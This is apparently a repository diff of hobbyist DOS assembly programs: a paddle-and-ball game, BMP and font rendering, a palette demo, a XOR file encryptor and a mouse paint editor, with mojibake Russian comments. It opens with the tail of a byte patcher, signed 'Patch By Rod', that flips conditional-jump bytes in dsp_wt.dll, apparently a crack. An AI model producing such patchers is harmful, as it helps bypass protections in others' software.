+             mov     dx,offset patch1                ; Buffer
+             int     21h                             ; DOS/WriteFile
+             jc      errorlbl
+
+             mov     ax,4200h
+             xor     cx,cx                           ; Segment
+             mov     dx,0E31Ah                        ; Offset
+             int     21h                             ; DOS/FileSeekSet
+             jc      errorlbl                        ; Error !
+
+             mov     ax,4000h
+             mov     bx,word ptr [offset fname]      ; BX=Handle
+             mov     cx,1                            ; Lenght
+             mov     dx,offset patch2                ; Buffer
+             int     21h                             ; DOS/WriteFile
+             jc      errorlbl
+
+             mov     ax,3e00h
+             mov     bx,word ptr [offset fname]      ; BX=Handle
+             int     21h                             ; DOS/CloseFile
+             jc      errorlbl
+
+             mov     dx,offset cs:text2
+             jmp     getout
+
+     errorlbl:
+             mov     dx,offset cs:text1              ; Print
+     getout: mov     ah,9
+             int     21h
+
+             mov     ah,4ch                          ; Get Out Of Here !
+             int     21h
+
+     patch2  db 084H; MOV EAX,00000001 - NOP
+     patch1  db 074H; MOV EAX,00000001 - NOP
+     fname   db 'dsp_wt.dll',0
+     text1   db 0ah,0dh,'Error Handling File'
+     text2   db 0ah,0dh,'Patch By Rod',0ah,0dh,'$'
+end;

+ 230 - 0
ASM/!ALL/arcanoid.asm

@@ -0,0 +1,230 @@
+.model small
+.code
+jumps
+org 100h
+start: 
+	mov ax, 03h	; \
+			; |  Clear Screen
+	int 10h         ; /  
+
+	mov ah, 02h	; \ ”ã­ªæ¨ï ãáâ ­®¢ª¨ ªãàá®à 
+	mov bh, 0       ; | €ªâ¨¢­ ï áâà ­¨æ 
+	mov dh, 24      ; |- Šãàá®à ª paddle (Y)
+	mov dl,	10      ; | (X)
+	int 10h         ; / 
+
+	mov ah, 09h     ;\ ‚뢮¤ ᨬ¢®«  
+	mov al, 'ß'     ;| ‚뢮¤¨¬ë© ᨬ¢®«
+	mov bh, 0h      ;\ ‘âà ­¨æ 
+	mov bl, 04h     ;/ �à®à¨á®¢ª  paddle (€ââਡãâë ᨬ¢®« )
+	mov cx, 05h     ;| Š®«¨ç¥á⢮ ᨬ¢®«®¢
+	int 10h		;/ 
+	
+	mov ah, 02h	; \ ”ã­ªæ¨ï ãáâ ­®¢ª¨ ªãàá®à 
+	mov bh, 0       ; | €ªâ¨¢­ ï áâà ­¨æ 
+	mov dh, 15      ; |- Šãàá®à ª è à¨ªã (Y)
+	mov dl,	15      ; | (X)
+	int 10h         ; / 
+
+	mov ah, 09h     ;\ ‚뢮¤ ᨬ¢®«  
+	mov al, ''     ;| ‚뢮¤¨¬ë© ᨬ¢®«
+	mov bh, 0h      ;\ ‘âà ­¨æ 
+	mov bl, 01h     ;/ �à®à¨á®¢ª  è à¨ª  (€ââਡãâë ᨬ¢®« )
+	mov cx, 01h     ;| Š®«¨ç¥á⢮ ᨬ¢®«®¢
+	int 10h		;/ 
+	
+mainloop:
+	
+	mov ah, 06h	;\ 
+	mov dl, 0FFh    ;| IF KeyPressed then Z on
+	int 21h         ;/
+	jz TOFLY        ; …᫨ ­¥â - ¯à®¢¥à塞, ­ã¦­® «¨ ¤¢¨£ âì è à
+	
+	mov si,offset ifpad	;\ ‘¬¥é¥­¨¥ ¯¥à¥¬¥­­®© ¨§¬¥­¥­¨ï
+	mov byte ptr [si], 1    ;/ - ˆ§¬¥­¥­¨¥ ¯à®¨§®è«®
+
+	cmp al, 0	; -�஢¥à塞, ¡ë«  «¨ à áè¨à¥­ ï ª« ¢¨è 
+	jne GOODKEY    	; …᫨ ­¥â - ­  ­ ç «® à ¡®âë
+	mov ah, 08h     ; \
+	int 21h         ; /ˆ­ ç¥ - ‘­®¢  ¢ë§ë¢ ¥¬ áç¨â뢠­¨ï
+
+GOODKEY:		; AL - £®â®¢  ª à ¡®â¥
+	cmp al, 27	;\ IF
+	je KONEZ        ;/ ESC then END
+
+	cmp al, 75	;\ IF
+	jne GORIGHT     ;/ not Left - goto try RIGHT
+
+	mov si, offset px	;\ in [si] - xpos of paddle 
+	cmp BYTE PTR [si],1     ;| compare with beg of screen
+	jbe TOFLY               ;| IF <= then goto TRY BAll
+	dec BYTE PTR [si]       ;| Else dec xpos of paddle: xpos--
+	jmp TOFLY               ;/ goto TRY BALL
+GORIGHT:
+	cmp al, 77     		;\ IF
+	jne TOFLY               ;/ not LEFT goto TRY BALL
+
+	mov si, offset px	;\ in [si] - xpos of paddle  
+	cmp BYTE PTR [si],74	;| compare with end of screen
+	jae TOFLY		;| IF >= then goto TRY BAll  
+	inc BYTE PTR [si]	;| Else inc xpos of paddle: xpos++
+	jmp TOFLY               ;/ goto TRY BALL             
+	                        
+loopend:                        ; Final stage of loop
+                                
+	mov si, offset IFPAD	;\ in [si] - if i need to redraw  
+	cmp byte ptr [si],0     ;| if ![si]_
+	je PREDDEL              ;/ goto DELEAY 
+
+	                        
+	mov si,offset ifpad    ;\ IF needed then, on next turn_
+	mov byte ptr [si], 0   ;/ it will be 0 
+
+	mov ah, 09h	;\
+	mov al, ' '     ;| ‚뢮¤¨¬ë© ᨬ¢®«
+	mov bh, 0h      ;\ ‘âà ­¨æ 
+	mov bl, 00h     ;/ �à®à¨á®¢ª  è à¨ª  (€ââਡãâë ᨬ¢®« )
+	mov cx, 01h     ;| Š®«¨ç¥á⢮ ᨬ¢®«®¢
+	int 10h		;/ 
+
+	mov ah, 02h	; \ GotoXY(0,24) to delete all line
+	mov bh,	0       ; | €ªâ¨¢­ ï áâà ­¨æ         
+	mov dh, 24      ; |- Šãàá®à ª paddle (Y)     
+	mov dl, 0       ; | (X)                      
+	int 10h	        ; /                          
+
+	mov ah, 09h	;\ Clear last line to redraw paddle
+	mov al, ' '     ;| ‚뢮¤¨¬ë© ᨬ¢®« (#20)
+	mov bh, 0h      ;\ ‘âà ­¨æ 
+	mov bl, 00h     ;/ �à®à¨á®¢ª  è à¨ª  (€ââਡãâë ᨬ¢®« )
+	mov cx, 80      ;| Š®«¨ç¥á⢮ ᨬ¢®«®¢
+	int 10h		;/ 
+
+	mov si, offset px	; [si] = xpos of paddle
+
+	mov ah, 02h		; \ GotoXY(xpos,24)
+	mov bh,	0               ; | €ªâ¨¢­ ï áâà ­¨æ         
+	mov dh, 24              ; |- Šãàá®à ª paddle (Y)     
+	mov dl, byte ptr [si]   ; | (X) (From [si])
+	int 10h	                ; /                          
+
+	mov ah, 09h     ;\ Draw the paddle
+	mov al, 'ß'     ;| ‚뢮¤¨¬ë© ᨬ¢®«
+	mov bh, 0h      ;| ‘âà ­¨æ 
+	mov bl, 04h     ;| �à®à¨á®¢ª  paddle (€ââਡãâë ᨬ¢®« )
+	mov cx, 05h     ;| Š®«¨ç¥á⢮ ᨬ¢®«®¢ (Length of paddle)
+	int 10h		;/ 
+	
+	mov si, offset x1	; [si] = x pos of ball (x1)
+	mov di, offset y1       ; [di] = y pos of ball (y1)
+	
+	mov ah, 02h		; \ GotoXY(x1,y1)     
+	mov bh,	0               ; | €ªâ¨¢­ ï áâà ­¨æ    
+	mov dh, byte ptr [di]   ; |- Cursor to draw ball (Y1) (From [di])
+	mov dl, byte ptr [si]   ; | (X1) (From [si])     
+	int 10h	                ; /                     
+
+	mov ah, 09h     ;\ Draw ball
+	mov al, ''     ;| ‚뢮¤¨¬ë© ᨬ¢®«
+	mov bh, 0h      ;| ‘âà ­¨æ 
+	mov bl, 01h     ;| �à®à¨á®¢ª  è à¨ª  (€ââਡãâë ᨬ¢®« )
+	mov cx, 01h     ;| Š®«¨ç¥á⢮ ᨬ¢®«®¢
+	int 10h		;/ 
+
+PREDDEL:  		;\
+	mov cx, 05F00h   ;|
+delay:	push cx		;|- Delay for some time
+	pop cx          ;|
+	loop delay      ;/
+
+	jmp mainloop    ; TOTAL END OF LOOP !!!!!!!
+;-----------------------------------------------------
+; END OF LOOP
+;-----------------------------------------------------
+TOFLY:  			; Ball flying ?
+	mov si,	offset ticks	; [si] = ticks(counter to syncronize ball with_
+				; paddle
+	mov al, byte ptr [si]	; al = ticks
+	inc al			; al++
+	mov byte ptr [si], al	; ticks++
+	mov ah, 0		; ax = al 
+	mov bx, 0200h 	        ; the period of ball move
+	xor dx, dx		; dx = 0
+	div bx			; dx = ax mod bx
+	cmp dx,	0		; if ticks ªà â­® bx (0FFFFh)_
+	je MOVE			; then goto MOVE bALL
+	xor si,	si		; si=0
+	jmp loopend		; goto ENDOFLOOP
+
+MOVE:
+	mov byte ptr [si], 1	; [si]-ticks=1 (to not overflow)
+
+	mov si,offset ifpad	;\ [si] = ifRedraw
+	mov byte ptr [si], 1	;/ redraw = true
+
+	mov si,	offset x1	;\ [si] = x pos of ball (x1)
+	mov di,	offset y1       ;/ [di] = y pos of ball (y1)
+
+	cmp byte ptr [si], 0		; compare x1 with 0
+	ja moveright			; if > then goto TEST RIGHT_
+	mov byte ptr [XNEW+1], 0C6h 	; Else in XNEW - change (dec dh)_  
+					; to (inc dh)
+
+moveright:				; if ball can go right
+	cmp byte ptr [si], 79		; comp x1 with 79(end of screen)
+	jb moveup			; if < goto TRY UP_
+	mov byte ptr [XNEW+1], 0CEh 	; Else in XNEW - change (inc dh)_ 
+					; to (dec dh)
+; the inc/dec mnemonics
+; inc dl  -  FEC2
+; dec dl  -  FECA
+; inc dh  -  FEC6
+; dec dh  -  FECE
+
+moveup:                             	; if ball can go up           
+	cmp byte ptr [di], 0		; comp y1 with 0(top of screen) 
+	ja movedown                     ; if > goto TRY DOWN_              
+	mov byte ptr [YNEW+1], 0C2h     ; Else in YNEW - change (dec dl)_
+	                                ; to (inc dl)                    
+	                                
+movedown:				; if ball can go down           	
+	cmp byte ptr [di], 23           ; comp y1 with 24(bottom of screen) 
+	jb  allgood                     ; if < goto TRY UP_              
+	PUSH DI                         ; push DI in stack ([di]=y1)
+	mov di, offset px               ; Now in [DI] - paddle xpos
+	mov bl, byte ptr [di]		; bl = xpos
+	POP DI				; Now in [DI] = y1
+
+	cmp byte ptr [si], bl		;\ compare x1 with xpos
+	jb KONEZ			;| if < then goto GAMEOVER
+	add bl,5                        ;| bl=xpos+5(length if paddle)
+					;|-If paddle under ball
+	cmp byte ptr [si], bl           ;| compare x1 with xpos+5
+	jae KONEZ	                ;| if > then gameover_
+	mov byte ptr [YNEW+1], 0CAh     ;/ Else in YNEW - change (inc dl)_
+	                                ;  to (dec dl)                    
+allgood:				; End of ball tests
+
+	mov dh, byte ptr [si]		; dh = x pos of ball (x1)
+	mov dl, byte ptr [di]           ; dh = y pos of ball (y1)
+
+XNEW:	inc dh                          ;\ HERE functions, that move ball_
+YNEW:	dec dl                          ;/ they changed in ball tests
+	
+	mov byte ptr [si], dh		;\ x1 := new x pos of ball
+	mov byte ptr [di], dl           ;/ y1 := new y pos of ball
+
+	xor si,	si			;\ CLEAR SI,DI
+	xor di,	di                      ;/
+	jmp loopend                     ; goto draw new pos of ball and paddle
+;-------------------------------------------------------------------
+;End OF GAME
+;-------------------------------------------------------------------
+KONEZ:					; GAMEOVER !!!!!!!!
+	int 20h				; Global End Proc
+x1	db 15		;\ Coordinates of ball
+y1	db 15           ;/
+px	db 10           ; - X coordinate of paddle
+ticks	db 0		; the number of game ticks
+IFPAD	db 0		; bool variable  -  if redraw
+end start		; LAST LINE

+ 46 - 0
ASM/!ALL/bits.asm

@@ -0,0 +1,46 @@
+.model small
+.code
+org 100h
+start:
+	mov ax, 0F000h
+	mov es,	ax
+	mov ax,	0FA6Eh;
+	mov di,	ax
+
+	mov bx,	109
+	shl bx,	3
+	add di,	bx
+	mov si,	offset gg1
+	mov cx,	4
+cool:	mov ax, [si]
+	stosw
+	add si,	2
+	loop cool
+	mov ah,	2h
+	mov dl,	109
+	int 21h
+	mov ah,	8h
+	int 21h
+;	mov ah,	3ch;
+;	mov cx,	0
+;	mov dx,	offset fname
+;	int 21h	
+;	mov bx, ax
+;	mov ah,	40h
+;	mov cx,	8
+;	mov dx,	offset gg1
+;	int 21h	
+;	mov ah,	3eh
+;	int 21h	
+	int 20h
+;fname	db 'dump.txt'
+;gg1	db 16 dup (?)
+gg1	db 00000000b    
+gg2	db 00000000b   
+gg3	db 00111110b    
+gg4	db 00011100b    
+gg5	db 01111110b   
+gg6	db 01010100b    
+gg7	db 01000010b      
+gg8	db 00011000b
+end start

+ 44 - 0
ASM/!ALL/bits2.asm

@@ -0,0 +1,44 @@
+.model small
+.code
+org 100h
+start:
+	mov ax,	ds
+	mov es,	ax
+	mov ax, 1110h
+	mov bh, 16
+	mov bl,	0
+	mov dx,	'A'
+	mov cx,	1
+	mov bp,	offset bitmap
+	int 10h
+	mov ah,	2h
+	mov dl,	'A'
+	int 21h
+	mov ah,	8h
+	int 21h
+	int 20h
+bitmap	db 00000000b
+h1      db 00100101b
+h2      db 00100101b
+h3      db 00100101b
+h4      db 01111101b
+h5      db 00100101b
+h6      db 11111101b
+h7      db 00100101b
+bitma2p	db 00000000b
+h21      db 00100101b
+h22      db 00100101b
+h32      db 00100101b
+h42      db 01111101b
+h52      db 00100101b
+h62      db 11111101b
+h72      db 00100101b
+;h8      db 01111101b
+;h9      db 000100101b
+;h10      db 011111101b
+;h11      db 000100101b
+;h12      db 000100101b
+;h13      db 000111101b
+;h14      db 000100101b
+;h15      db 000100101b
+end start

+ 112 - 0
ASM/!ALL/bmp.asm

@@ -0,0 +1,112 @@
+.286
+.model small
+.code
+ORG 100h
+start:
+		call ggg
+		db 'cool3.bmp',0
+ggg:	pop dx
+		mov ax, 3d00h
+		int 21h
+		mov bx, ax
+
+		mov ah, 3fh
+		mov cx, bmphdr_len
+		mov dx, offset cs:bmphdr
+		int 21h
+
+		mov ah, 3fh
+		mov cx, bmpinfohdr_len
+		mov dx, offset cs:bmpinfohdr
+		int 21h
+
+		mov ax, 13h
+		int 10h
+
+		mov cx, 256
+
+loadpal:
+		push cx
+		mov ah, 3fh
+		mov dx, offset cs:colortable
+		mov cx, clrtab_len
+		int 21h
+		mov dx, 3c8h
+		mov al, col
+		out dx, al
+		inc col
+		mov dx, 3c9h
+		mov al, rgbRed
+		shr al, 2
+		out dx, al
+		mov al, rgbGreen
+		shr al, 2
+		out dx, al
+		mov al, rgbBlue
+		shr al, 2
+		out dx, al	
+		pop cx
+		loop loadpal
+        mov cx, 200
+        mov ax, 0a000h
+		mov ds, ax
+		mov di, 320*199
+
+loadimage:
+		push cx
+		mov ah, 3fh
+		mov cx, 320
+		mov dx, di
+		int 21h 
+		sub di, 320
+		pop cx
+		loop loadimage
+
+		mov ah, 3eh
+		int 21h	
+
+        mov ah, 08h
+        int 21h
+
+		mov ax,3
+		int 10h
+		int 20h
+
+; End of main proc
+;-------------------------------
+;-------------------
+; Bitmap Header!!!
+;-------------------
+bmphdr:
+	bfType		dw 0		;		//⨯ ä ©«  (¤«ï ¡¨â®¢®£® ®¡à §  - BM)
+	bfSize 		dd 0        ;		//à §¬¥à ä ©«  ¢ dword
+				dw 0,0		
+	bfOffbits 	dd 0		;	//ᬥ饭¨¥ ¤ ­­ëå ¡¨â®¢®£® ®¡à §  ®â ­ ç «  ä ©« 
+bmphdr_len EQU $-bfType
+;-------------------
+; Bitmap Info Header!!!
+;-------------------
+bmpinfohdr:
+	biSize 		dd	0	;		//ç¨á«® ¡ ©â, § ­¨¬ ¥¬ëå áâàãªâãன
+ 	biWidth 	dd  0	;	//è¨à¨­  ¡¨â®¢®£® ®¡à §  ¢ ¯¨ªá¥« å
+ 	biHeight 	dd  0	;	//¢ëá®â  ¡¨â®¢®£® ®¡à §  ¢ ¯¨ªá¥« å 
+				dw  0	;	//ç¨á«® ¡¨â®¢ëå ¯«®áª®á⥩ ãáâனá⢠
+	biBitCount	dw 	0	;	//ç¨á«® ¡¨â®¢ ­  ¯¨ªá¥«ì
+				dd	0	; biCompression;	//⨯ ᦠâ¨ï
+	biSizeImage dd  0   ;	//à §¬¥à ª à⨭ª¨ ¢ ¡ ©â å
+				dd	0,0	; biXPelsPerMeter;//£®à¨§®­â «ì­®¥ à §à¥è¥­¨¥ ãáâனá⢠,
+						; biYPelPerMeter;	//¢¥à⨪ «ì­®¥ à §à¥è¥­¨¥ ãáâனá⢠,
+				dd 	0	; biClrUsed;	//ç¨á«® ¨á¯®«ì§ã¥¬ëå æ¢¥â®¢
+				dd	0	; biClrImportant; //ç¨á«® "¢ ¦­ëå" 梥⮢
+bmpinfohdr_len EQU $-biSize
+;-------------------
+; Color table
+;-------------------
+colortable:
+	rgbBlue		db 0;	//¨­â¥­á¨¢­®áâì ªà á­®£®
+	rgbGreen	db 0;	//¨­â¥­á¨¢­®áâì §¥«¥­®£®
+	rgbRed 		db 0;	//¨­â¥­á¨¢­®áâì £®«ã¡®£®
+	       db 0;	//­¥ ¨á¯®«ì§ã¥âáï
+clrtab_len  EQU $-rgbBlue
+col 	db	0
+end start

+ 24 - 0
ASM/!ALL/border.asm

@@ -0,0 +1,24 @@
+.model small
+.code
+org 100h
+start:
+	mov di,	158h
+	mov bh,	0
+cool:
+	mov ah,	0bh
+	mov bl,	[di]
+	int 10h
+	inc di
+	mov ah,	01h
+	int 16h
+	mov cx,	0
+sss:	PUSH AX
+	POP	AX
+	loop sss		
+	jnz fend
+	jmp cool
+fend:	mov ah,	0bh
+	mov bx,	0
+	int 10h
+	int 20h
+end start

+ 139 - 0
ASM/!ALL/char.asm

@@ -0,0 +1,139 @@
+.286
+.model small
+.code
+org 100h
+;--------------------
+character   equ    'G'
+;--------------------
+start:
+		mov ax,	1130h
+		mov bh, 06h
+		int 10h
+		mov FontSeg, es
+		mov FontOffs, bp
+
+        mov ax, 13h
+        int 10h
+
+        push 1
+        push 0
+        push character
+        push 4
+        push 2
+        push FontOffs
+        push FontSeg
+        call OutCharXY
+
+        mov ah, 8h
+        int 21h
+
+        mov ax, 3h
+        int 10h
+
+        int 20h
+;---------------------------------------------
+OutCharXY proc near 		  ;OutCharXY(X,Y,Char,Color,bg,TableOffs,TableSeg)
+	push bp
+	mov bp, sp
+TableSeg  	equ word ptr [bp+4]
+TableOffs 	equ word ptr [bp+6]
+Color		equ byte ptr [bp+0Ah]
+Bg	 		equ byte ptr [bp+8]
+Char 		equ byte ptr [bp+12]
+posY		equ	word ptr [bp+14]
+posX		equ	word ptr [bp+16]
+    pusha
+    push es
+;----------------------------
+;  Character Creation
+    	mov di, TableOffs
+    	mov es,	TableSeg  
+    	mov ah, 0
+    	mov al, Char
+        shl ax, 4
+		add di,	ax
+        mov cx,	16
+		mov si,	offset face
+MainLoop:
+		mov bh, es:di
+		push cx
+		mov cx, 8
+LineLoop:
+		test bh, 80h
+        jz	BackGround
+        mov ah, Color
+        mov byte ptr ds:[si], ah
+		jmp LoopEnd
+BackGround:
+        mov ah, Bg
+	    mov byte ptr ds:[si], ah
+LoopEnd:
+		shl bh, 1
+		inc si
+		loop LineLoop
+		pop cx
+		inc di
+		loop MainLoop
+; End of Character creation
+;=======================================
+	mov ax,	posX
+	shl ax, 3
+	push ax				; X position
+
+	mov ax,	posY
+	shl ax, 4
+	push ax 			; Y position
+
+	push offset face    ; Character bitmap
+	push 8				; SizeX
+	push 16				; SizeY
+    call WriteSprite	; WriteChar
+
+    pop es
+    popa
+	pop bp
+	ret 14
+endp
+;-------------------------------------------
+WriteSprite proc near         ;writesprite(x,y,char *sprt,razmx,razmy)
+    push bp
+    mov bp,sp
+razmy equ word ptr [bp+4]
+razmx equ word ptr [bp+6]
+sprt  equ word ptr [bp+8]
+posy  equ word ptr [bp+10]
+posx  equ word ptr [bp+12]
+    pusha
+    push es
+
+    mov ax, 0A000h
+    mov es, ax
+    mov ax, posy
+    mov bx, ax
+    shl ax, 8
+    shl bx, 6
+    add ax, bx
+    add ax, posx
+    mov di, ax
+    mov ax, sprt
+    mov si, ax
+    mov cx, razmy
+lup:
+    push cx
+    mov cx, razmx
+    repe movsb
+    add di, 320
+    sub di,razmx
+    pop cx
+    loop lup
+
+    pop es
+    popa
+    pop bp
+ret 10
+endp
+
+face		db 128 dup (?)
+FontOffs	dw ?
+FontSeg		dw ?
+end start

+ 17 - 0
ASM/!ALL/cmdline.asm

@@ -0,0 +1,17 @@
+.model small
+.code
+org	100h
+start:
+	mov di,	80h
+	mov al, [di]
+	cmp al, 0
+	je noprint
+	mov ah,	0
+	mov di, ax
+	add di, 81h
+	mov byte ptr [di],'$'
+	mov ah,	09h
+	mov dx,	82h
+	int 21h
+noprint:int 20h
+end start

+ 145 - 0
ASM/!ALL/crypt.asm

@@ -0,0 +1,145 @@
+jumps
+.model small
+.code 
+org 100h
+start:  mov di,	80h
+	cmp byte ptr [di], 0
+	je errusg
+	mov al, [di]
+	mov ah, 0
+	mov dx, ax
+	dec dx
+	mov di, 82h
+	mov si,	offset fname1
+	mov cx,	0
+loop1:	mov al, [di]
+	mov [si], al
+	inc di
+	inc si
+	inc cx
+	cmp cx, dx
+	je errusg
+	cmp byte ptr [di], ' '
+	je nextloop2
+	jmp loop1
+nextloop2:
+	mov byte ptr [si], 0
+loop2:  inc di
+	inc cx
+ 	cmp byte ptr [di], ' '
+	je loop2
+	mov si,	offset fname2
+loop3:  mov al, [di]
+	mov [si], al
+	inc di
+	inc si
+	inc cx
+	cmp cx, dx
+	je begcopy
+	cmp byte ptr [di], ' '
+	je begcopy
+	jmp loop3
+begcopy:mov byte ptr [si], 0
+	mov ah,	09h
+	mov dx, offset inpstr
+	int 21h
+	mov si,	offset passwd
+	mov di,	0
+loop4:	mov ah, 08h
+	int 21h
+	cmp al,	0dh
+	je passend
+	mov [si], al
+	inc si
+	inc di
+	mov ah,	02h
+	mov dl, '*'
+	int 21h
+	jmp loop4
+passend:mov si,	offset passlen
+	mov ax, di
+	mov byte ptr [si],al
+	mov ax, 3d00h
+	mov dx,	offset fname1
+	int 21h
+	jc openerr
+	mov si,	ax
+        mov ah,	3ch
+	mov cx,	0
+	mov dx,	offset fname2
+	int 21h
+	jc openerr
+	mov di, ax
+;---------------------------------------------
+loop8:  mov bx, si
+	mov ah, 3fh
+	mov dx,	offset buf
+	mov cx,	255
+	int 21h
+	PUSH ax
+	PUSH bx
+	PUSH dx
+	PUSH si
+	PUSH di
+	mov si, offset passwd
+	mov di, offset passlen
+	mov dl, [di]
+	mov dh, 0
+	mov di,	offset buf
+	mov cx,	ax
+	mov bx, 0
+
+loop5:  mov al, [si]
+	xor [di], al
+	inc di
+	inc si
+	inc bx
+	mov al, bl
+	mov ah, 0
+	div dl
+	cmp ah, 0 
+	je newchange
+contin: cmp bx, cx
+	je looopend
+	jmp loop5
+newchange:
+	mov si, offset passwd
+	jmp contin
+looopend:
+	POP di
+	POP si
+	POP dx
+	POP bx
+	POP ax
+	mov ah, 40h
+	mov bx, di
+	int 21h
+	cmp ax, 255
+	jb  loopend
+        jmp loop8
+
+loopend:mov bx,si
+	mov ah,	3eh
+	int 21h
+        mov bx, di
+	mov ah,	3eh
+	int 21h
+	int 20h
+;---------------------------------------
+errusg: mov ah,	09h
+	mov dx,	offset errstr
+	int 21h
+	int 20h
+openerr:mov ah,	09h
+	mov dx,	offset errstr2
+	int 21h
+	int 20h
+errstr  db 'usage: "crypt.exe source dest"$'
+errstr2 db 'File not found!$'
+inpstr  db 'Enter the password:$'
+passwd  db 50 dup (?)
+passlen	db ?
+fname1	db 13 dup (?)
+fname2	db 13 dup (?)
+buf	db 256 dup (?)
+end start

+ 189 - 0
ASM/!ALL/demo.asm

@@ -0,0 +1,189 @@
+.286
+.model small
+.code
+ORG 100h
+start:
+		mov ax, 13h
+		int 10h
+		call MakePal
+		call WriteLines
+lu:
+        mov ah, 06h
+        mov dl, 0ffh
+        int 21h
+        jnz  GAMEOVER
+        call AdvPal
+        PUSH 5
+        call Coolwait
+        jmp lu
+GAMEOVER:
+		mov ax,3
+		int 10h
+		int 20h
+; End of main proc
+;-------------------------------
+	MakePal proc near
+		pusha
+		mov cx, 128
+colr:
+		mov dx, 3c6h		;Mask
+		mov al, 0FFh
+		out dx, al  
+
+		mov dx, 3c8h		; Write index
+		mov al, Col
+		out dx, al
+
+		mov dx, 3c9h		; Out data
+		mov al, RCol		; R
+		out dx, al
+
+		mov al, GCol       	; G
+		out dx, al
+
+		mov al, BCol        ; B
+		out dx, al	
+
+		cmp byte ptr Col, 63
+   		ja	GIn1
+   		je lp1end
+		inc RCol    	
+    	jmp lp1End
+GIn1:   dec RCol
+		inc GCol
+lp1End:	inc Col
+		loop colr
+
+        inc RCol
+		dec Gcol
+		mov cx, 128
+colB:
+		mov dx, 3c6h		;Mask
+		mov al, 0FFh
+		out dx, al
+
+		mov dx, 3c8h		; Write index
+		mov al, Col
+		out dx, al
+
+		mov dx, 3c9h
+		mov al, RCol
+		out dx, al
+		mov al, GCol
+		out dx, al
+		mov al, BCol
+		out dx, al
+		cmp byte ptr Col, 0BFh
+   		ja	GIn2
+   		je lp2end
+		inc BCol
+	   	dec GCol
+    	jmp lp2End
+GIn2:   dec BCol
+lp2End:	inc Col
+		loop colB	
+		popa
+	ret
+	Col	 db 0
+	RCol db 0
+	GCol db 0
+	Bcol db 0
+	endp
+
+	WriteLines proc near
+		pusha
+        mov ax, 0A000h
+        mov es, ax
+        mov di, 0
+        mov ax, 0000h
+        mov cx, 200
+wrlp1:  push cx
+		mov cx, 160
+		repe stosw
+		pop cx
+		inc ah
+		inc al
+		loop wrlp1
+
+		popa	
+	ret
+	endp
+;/---------------
+;|
+;\---------------
+AdvPal proc near
+	pusha
+		mov dx, 3c7h		; Read index
+		mov al, 0FEh
+		out dx, al
+		mov dx, 3c9h
+		in al,	dx
+		mov Rlast, al
+		in al,	dx
+		mov Glast, al
+		in al,	dx
+		mov Blast, al
+; Save last values
+		mov cx, 0FEh
+; Main cirlce
+adV:	mov dx, 3c7h		; Read index
+		mov al, cl
+		dec al
+		out dx, al
+		mov dx, 3c9h
+		in al,	dx
+		mov curR, al
+		in al,	dx
+		mov curG, al
+		in al,	dx
+		mov curB, al
+; Read last value, and write it to next
+		mov dx, 3c8h		; Write index
+		mov al, cl
+		out dx, al
+		mov dx, 3c9h
+		mov al, curR
+		out dx, al
+		mov al, curG
+		out dx, al
+		mov al, curB
+		out dx, al
+		dec cx
+		cmp cx, 1
+		jae  adv
+
+		mov dx, 3c8h		; Write index
+		mov al, 1h
+		out dx, al
+		mov dx, 3c9h
+		mov al, Rlast
+		out dx, al
+		mov al, Glast
+		out dx, al
+		mov al, Blast
+		out dx, al
+		popa
+	ret
+	curR	db 0
+	curG	db 0
+	curB	db 0 
+	Rlast 	db 0
+	Glast 	db 0
+    Blast 	db 0
+endp
+
+CoolWait        proc    near	; CoolWait(word delay);
+        push bp
+        mov bp, sp
+        push cx
+        mov cx, word ptr [bp+4]
+ggg:    push cx
+        mov cx, 0
+        loop $
+        pop cx
+        loop ggg
+        pop cx
+        pop bp
+ret 2
+endp
+end start

+ 28 - 0
ASM/!ALL/edit.asm

@@ -0,0 +1,28 @@
+.model small
+.code
+org 100h
+start:
+	mov ax,	3d02h
+	mov dx,	offset fname
+	int 21h
+	jc FUCK
+	mov bx, ax
+	mov ax, 4200h
+	mov cx,	0
+	mov dx,	6
+	int 21h
+	mov ah,	40h
+	mov dx,	offset msg
+	mov cx,	3
+	int 21h
+	mov ah,	3eh
+	int 21h
+	int 20h
+FUCK:	mov ah,	09
+	mov dx,	offset ferr
+	int 21h
+	int 20h
+ferr 	db 'SHIT!!!$'
+fname	db 'c:\edit.txt'
+msg	db 'CAT'	
+end start

+ 670 - 0
ASM/!ALL/editor.asm

@@ -0,0 +1,670 @@
+.286
+.model small
+.code
+org 100h
+start:
+	call INIT	
+	mov ax, 1
+	int 33h
+newl:
+        mov ah, 06h
+        mov dl, 0ffh
+        int 21h
+        jnz  OVER
+		mov ax, 3
+		int 33h
+		test bx, 2
+		jz dal
+		call ShowMenu
+dal:
+		test bx,1
+		jz newl
+
+    	mov di, dx
+		shl di, 8
+		shl dx, 6
+		add di, dx
+		shr cx, 1
+		add di, cx
+		mov ax, 2
+		int 33h
+		mov ah, curcol
+		mov es:[di], ah
+		mov ax, 1
+		int 33h
+		jmp newl
+
+over:   
+		mov ax, 3h
+		int 10h
+;---------------------
+	int 20h          ; All OVER!
+;---------------------
+;
+;
+
+INIT proc near
+	pusha
+	mov ax, 13h
+	int 10h
+	mov ax, 0a000h
+	mov es, ax
+	mov ax, 0
+	int 33h
+	popa
+	ret
+endp
+
+DrawPal	proc 	near
+		pusha
+		mov		buttonPr, 0
+		mov 	ax,	02
+		int 	33h
+		mov di, 0
+		mov ah, 0 
+		mov cx, 16
+biglp:	push cx
+		mov cx, 10
+smalp:	push cx
+		mov al, ah
+		mov cx, 16
+ano:	push cx
+		mov cx, 10
+		repe stosb
+		pop cx
+		inc al
+		loop ano
+		pop cx
+		add di, 160
+		loop SmaLp	
+		pop cx
+		add ah, 10h
+		loop biglp			
+
+		mov 	ax,	01
+		int 	33h
+
+;	setMOusePos
+		mov ax, 4
+        mov cx, 0
+		mov dx, 0
+		int 33h
+;	SetMouseBounds
+		mov ax, 7
+		mov cx, 0
+		mov dx, 140h
+		int 33h
+		mov ax, 8
+		mov cx, 0
+		mov dx, 0a0h
+		int 33h
+
+
+colsel:	mov ax, 03
+		int 33h
+		test bx, 1
+		jz		blah3
+		mov		buttonPr, 1
+		jmp		COLsel
+blah3:  cmp		ButtonPr,	1
+		jne		COLsel
+		
+		mov ax, dx
+		xor dx, dx
+		mov bx, 10
+		div bx
+		shl ax, 4
+		mov di, ax
+		mov ax, cx
+		mov bx, 20
+		xor dx, dx
+		div bx
+        add di, ax
+		mov ax, di
+    	mov curcol, al	;	Save new color
+
+		mov ax, 7
+		mov cx, 0
+		mov dx, 280h
+		int 33h
+		mov ax, 8
+		mov cx, 0
+		mov dx, 0c8h
+		int 33h
+	popa
+	ret
+endp
+; 
+SaveBuf	proc near
+	pusha
+	push es
+	push ds
+		push 	es
+		pop 	ds
